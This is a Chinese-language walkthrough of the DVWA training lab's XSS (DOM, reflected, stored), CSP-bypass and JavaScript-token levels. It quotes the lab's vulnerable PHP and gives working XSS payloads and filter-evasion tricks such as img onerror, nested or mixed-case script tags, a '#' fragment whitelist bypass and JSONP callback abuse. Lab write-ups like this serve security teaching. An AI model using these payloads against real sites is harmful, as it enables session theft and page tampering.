DVWA通关教程(下)
XSS(DOM)
XSS(DOM)是一種基于DOM樹的一種代碼注入攻擊方式,可以是反射型的,也可以是存儲型的,所以它一直被劃分第三種XSS
與前兩種XSS相比,它最大的特點就是不與后臺服務器交互,只是通過瀏覽器的DOM樹解析產生
除了js,flash等腳本語言也有可能存在XSS漏洞
難度(low)
審計代碼
<?php# No protections, anything goes?>無任何過濾
所以我們可以構造XSS代碼,訪問鏈接:
http://127.0.0.1/dvwa1/vulnerabilities/xss_d/?default=<script>alert(666)</script>
我們查看源代碼,可以看到,我們的腳本插入到代碼中,所以執行了
難度(medium)
審計代碼
<?php// Is there any input? if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {$default = $_GET['default'];# Do not allow script tagsif (stripos ($default, "<script") !== false) {header ("location: ?default=English");exit;} }?>可以看到,medium級別的代碼先檢查了default參數是否為空,如果不為空則將default等于獲取到的default值。這里還使用了stripos 用于檢測default值中是否有 <script??,如果有的話,則將 default=English 。
很明顯,這里過濾了 <script??(不區分大小寫),那么我們可以使用<img??src=1??οnerrοr=('hack')>
http://127.0.0.1/dvwa1/vulnerabilities/xss_d/?default=<img src=1 οnerrοr=alert(666)>
此時并沒有彈出任何頁面
我們查看網頁源代碼,發現我們的語句被插入到了value值中,但是并沒有插入到option標簽的值中,所以img標簽并沒有發起任何作用。
所以我們得先閉合前面的標簽,我們構造語句閉合option標簽:
?<option value='? ???" + lang + "? ? ? '>??"??+ decodeURI(lang) +? "??</option>
所以,我們構造該鏈接:
http://127.0.0.1/dvwa1/vulnerabilities/xss_d/?default=></option><img src=1 οnerrοr=alert(666)>
但是我們的語句并沒有執行,于是我們查看源代碼,發現我們的語句中只有 >?被插入到了option標簽的值中,因為</option>閉合了option標簽,所以img標簽并沒有插入
于是我們繼續構造語句去閉合select標簽,這下我們的img標簽就是獨立的一條語句了
我們構造該鏈接:
http://127.0.0.1/dvwa1/vulnerabilities/xss_d/?default=>/option></select><img src=1 οnerrοr=alert(666)>
我們查看源代碼,可以看到,我們的語句已經插入到頁面中了
難度(high)
審計代碼
<?php// Is there any input? if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {# White list the allowable languagesswitch ($_GET['default']) {case "French":case "English":case "German":case "Spanish":# okbreak;default:header ("location: ?default=English");exit;} }?>可以發現使用了白名單的思想,只允許French,English,German以及Spanish,是否存在繞過的可能性呢,答案是肯定的,例如使用如下payload便會觸發xss
http://127.0.0.1/dvwa1/vulnerabilities/xss_d/?default=#</option></select><BODY ONLOAD=alert(document.cookie)>
可以看到我們在English之后添加了#,在url中#后邊的內容不會發送到服務端,從而可以實現繞過。
XSS(Reflected)
反射型XSS是非持久性、參數型的跨站腳本。
反射型XSS的代碼在Web應用參數中,例如搜索框的反射型XSS。
注意,反射型XSS代碼出現在keyword參數中。
但是容易被發現,導致很多漏洞提交平臺不接收反射型XSS漏洞。
難度(low)
審計代碼
<?phpheader ("X-XSS-Protection: 0");// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Feedback for end userecho '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; }?>直接通過$_GET方式獲取name的值,之后未進行任何編碼和過濾,導致用戶輸入一段js腳本會執行。
<script>alert(666)</script>
難度(medium)
審計代碼
<?phpheader ("X-XSS-Protection: 0");// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = str_replace( '<script>', '', $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>"; }?>對<script>標簽做了過濾,可以使用事件繞過
<a href = 'javascript:alert(666)'>click</a>
難度(high)
審計代碼
<?phpheader ("X-XSS-Protection: 0");// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>"; }?>高難度是用preg_replace()函數進行正則過濾<script>標簽,
使用 img 標簽和其編碼轉換后的 XSS payload
<img src=1 οnerrοr=alert(666)>
XSS(Stored)
存儲型XSS,持久化,代碼是存儲在服務器中的,如在個人信息或發表文章等地方,加入代碼,如果沒有過濾或過濾不嚴,那么這些代碼將儲存到服務器中,用戶訪問該頁面的時候觸發代碼執行。這種XSS比較危險,容易造成蠕蟲,盜竊cookie等。
難度(low)
審計代碼
<?phpif( isset( $_POST[ 'btnSign' ] ) ) {// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name = trim( $_POST[ 'txtName' ] );// Sanitize message input$message = stripslashes( $message );$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Sanitize name input$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Update database$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );//mysql_close(); }?>trim(string,charlist) : 移除string字符兩側的預定義字符,預定義字符包括\t 、 \n 、\x0B 、\r以及空格,可選參數charlist支持添加額外需要刪除的字符
stripslashes(string): 去除掉string字符的反斜杠\
mysqli_real_escape_string(string,connection) :函數會對字符串string中的特殊符號(\x00,\n,\r,\,‘,“,\x1a)進行轉義。
$GLOBALS :引用全局作用域中可用的全部變量。$GLOBALS 這種全局變量用于在 PHP 腳本中的任意位置訪問全局變量(從函數或方法中均可)。PHP 在名為 $GLOBALS[index] 的數組中存儲了所有全局變量。變量的名字就是數組的鍵。
可以看出,low級別的代碼對我們輸入的message和name并沒有進行XSS過濾,而且數據存儲在數據庫中,存在比較明顯的存儲型XSS漏洞
我們輸入 1 和 <script>alert(666)</script> ,可以看到,我們的js代碼立即就執行了
難度(medium)
審計代碼
<?phpif( isset( $_POST[ 'btnSign' ] ) ) {// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name = trim( $_POST[ 'txtName' ] );// Sanitize message input$message = strip_tags( addslashes( $message ) );$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$message = htmlspecialchars( $message );// Sanitize name input$name = str_replace( '<script>', '', $name );$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Update database$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );//mysql_close(); }?>addslashes(string) :函數返回在預定義字符之前添加反斜杠的字符串,預定義字符 ' 、" 、\ 、NULL
strip_tags(string) :函數剝去string字符串中的 HTML、XML 以及 PHP 的標簽
htmlspecialchars(string):?把預定義的字符 "<" (小于)、?">" (大于)、& 、‘’、“” 轉換為 HTML 實體,防止瀏覽器將其作為HTML元素
當我們再次輸入1 和 <script>alert(666)</script> ,strip_tags函數把<script>標簽給剝除了,addslashes函數把 '??轉義成了??\'
Burpsuite抓包改name參數為:<sc<script>ript>alert(/name/)</script>
2.大小寫混淆繞過
Burpsuite抓包改name參數為:<ScRipt>alert(/name/);</ScRipt>
3.使用非 script 標簽的 xss payload:
eg:img標簽:
Burpsuite抓包改name參數為:<img src=1 onerror=alert(/name/)>
最終彈框
難度(high)
審計代碼
<?phpif( isset( $_POST[ 'btnSign' ] ) ) {// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name = trim( $_POST[ 'txtName' ] );// Sanitize message input$message = strip_tags( addslashes( $message ) );$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$message = htmlspecialchars( $message );// Sanitize name input$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Update database$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );//mysql_close(); }?>這里使用正則表達式過濾了<script>標簽,但是卻忽略了img、iframe等其它危險的標簽,因此name參數依舊存在存儲型XSS。
Burpsuite抓包改name參數為<img src=1 onerror=alert(/name/)>
CSP?Bypass
內容安全策略(CSP)使服務器管理員可以通過指定瀏覽器應認為是可執行腳本的有效源的域來減少或消除XSS可能發生的向量。然后,兼容CSP的瀏覽器將僅執行從這些允許列出的域接收的源文件中加載的腳本,忽略所有其他腳本(包括內聯腳本和事件處理HTML屬性)。
除了限制可以從中加載內容的域之外,服務器還可以指定允許使用哪些協議; 例如(理想情況下,從安全角度來看),服務器可以指定必須使用HTTPS加載所有內容。完整的數據傳輸安全策略不僅包括強制HTTPS進行數據傳輸,還包括使用安全標記標記所有cookie,并提供從HTTP頁面到其HTTPS對應項的自動重定向。站點還可以使用Strict-Transport-SecurityHTTP標頭來確保瀏覽器僅通過加密通道連接到它們。
兩種方法可以啟用 CSP。
一種是通過 HTTP 頭信息的Content-Security-Policy的字段。
一種是通過網頁的<meta>標簽
難度(low)
審計代碼
<?php$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, jquery and google analytics.header($headerCSP);# https://pastebin.com/raw/R570EE00?> <?php if (isset ($_POST['include'])) { $page[ 'body' ] .= "<script src='" . $_POST['include'] . "'></script> "; } $page[ 'body' ] .= ' <form name="csp" method="POST"><p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p><input size="50" type="text" name="include" value="" id="include" /><input type="submit" value="Include" /> </form> ';源碼中提示我們的, 輸入?https://pastebin.com/raw/R570EE00
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com example.com code.jquery.com ht此時可以上pastebin網站上自己寫一個javascript代碼alert(“hahaha”),保存后記住鏈接,
https://pastebin.com/raw/zSLDySJn然后在上面界面中輸入鏈接,結果如下
在pastebin上保存的js代碼被執行了。那就是因為pastebin網站是被信任的。攻擊者可以把惡意代碼保存在收信任的網站上,然后把鏈接發送給用戶點擊,實現注入。
難度(medium)
審計代碼
<?php$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";header($headerCSP);// Disable XSS protections so that inline alert boxes will work header ("X-XSS-Protection: 0");# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>?> <?php if (isset ($_POST['include'])) { $page[ 'body' ] .= "" . $_POST['include'] . " "; } $page[ 'body' ] .= ' <form name="csp" method="POST"><p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p><input size="50" type="text" name="include" value="" id="include" /><input type="submit" value="Include" /> </form> ';http頭信息中的script-src的合法來源發生了變化,說明如下 unsafe-inline,允許使用內聯資源,如內聯< script>元素,javascript:URL,內聯事件處理程序(如onclick)和內聯< style>元素。必須包括單引號。 nonce-source,僅允許特定的內聯腳本塊,nonce=“TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA” 現在更加簡單了,可以直接輸入以下代碼
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(666)</script>
nonce是設定好的,允許運行
難度(high)
審計代碼
這個級別已經沒有輸入框了, 不過題目已經給了足夠多的提示. 首先先看一下 CSP 頭, 發現只有?script-src 'self';, 看來只允許本界面加載的 javascript 執行. 然后研究了一下這個點擊顯示答案的邏輯(邏輯在?source/high.js里), 大致如下: 點擊按鈕 -> js 生成一個 script 標簽(src 指向 source/jsonp.php?callback=solveNum), 并把它加入到 DOM 中 -> js 中定義了一個 solveNum 的函數 -> 因此 script 標簽會把遠程加載的?solveSum({"answer":"15"})?當作 js 代碼執行, 而這個形式正好就是調用了 solveSum 函數, 然后這個函數就會在界面適當的位置寫入答案.
本來嘛, 應該是沒辦法修改在服務器的 jsonp.php 文件的(除非結合別的漏洞, 拿 shell 后修改). 然而, 我后來在查看服務端源碼的時候發現了這個:
竟然還偷偷接收 include 參數(不清楚是不是作者復用了之前 Medium 的代碼). 總之, 這肯定能作為一個注入點, 我開始打算用簡單粗暴的?<script>alert('hacked')</script>?來搞定的, 誰知道, 這種是屬于 'unsafe-inline' 形式的, 所以被限制執行了. 嗯... 既然如此的話, 那我就利用 src 吧.
這個即使你不看源碼, 你做幾個測試也會發現, 那個 callback 參數可以被操控以生成任何你想要得到的結果, 比如 alert, 因此可以構造 Payload:?<script src="source/jsonp.php?callback=alert('hacked');"></script>, 并把這個當做 include 參數傳給界面就? 注入成功!
JavaScript
?
難度(low)
如果你改成 “success” 提交一下會出現了這個,Invalid token。這是什么回事呢?
你可以打開控制臺(F12),看看情況。
你會看到這個 token,不是后臺生成的,而是前臺生成的。。。而前臺生成的 token,是用?md5("ChangeMe"),而后臺期待的 md5 是?md5("success")。
所以你在輸入框中輸入 success 之后,還得在控制臺在調用?generate_token()?函數。
結果如下
難度(medium)
思路是一樣的,只是生成 token 的函數放到另外的 js 文件中了。
如果你打開這個 js 文件?http://192.168.0.110:5678/vulnerabilities/javascript/source/medium.js?,你會看到這樣
所以,在輸入框輸入 “success” 之后,在控制臺中,輸入do_elsesomething("XX")?就可以了。
難度(high)
高級和中級類似,生成 token 的邏輯在額外的 js 文件中。和中級不同的是,這里的 JS 經過了混淆的。。。就顯得很混亂。
http://192.168.0.110:5678/vulnerabilities/javascript/source/high.js
截取其中的一段給大家看看
這不是正常人類能看懂的。
而?http://deobfuscatejavascript.com?中提供的功能是,把混淆后的代碼轉成人類能看懂一些 js 代碼
其中關鍵的部分是這里:
這里生成 token 的步驟是:
1、執行token_part_1("ABCD", 44)
2、執行token_part_2("XX")(原本是延遲 300ms執行的那個)
3、點擊按鈕的時候執行?token_part_3
所以我們在輸入框輸入 success 后,再到控制臺中輸入token_part_1("ABCD", 44)和token_part_2("XX")這兩個函數就可以了。
?
?
?
?
?
?
?
?
?
?
總結
以上是生活随笔為你收集整理的DVWA通关教程(下)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: kail利用msf工具对ms10-087
- 下一篇: SSH暴力破解实战